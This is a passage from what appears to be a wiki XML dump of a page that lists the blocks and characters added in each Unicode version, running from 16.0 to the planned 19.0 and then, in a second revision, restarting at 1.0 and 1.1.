|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>4vi4b2yv4qosasq79z6esc477l2b2t5</sha1>
    </revision>
    <revision>
      <id>4670524</id>
      <parentid>4670523</parentid>
      <timestamp>2026-09-17T01:02:54Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Unicode 5.0 */</comment>
      <origin>4670524</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="131818" sha1="bs636whzknsnfd1f4g0t1mzh7tte4eo" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
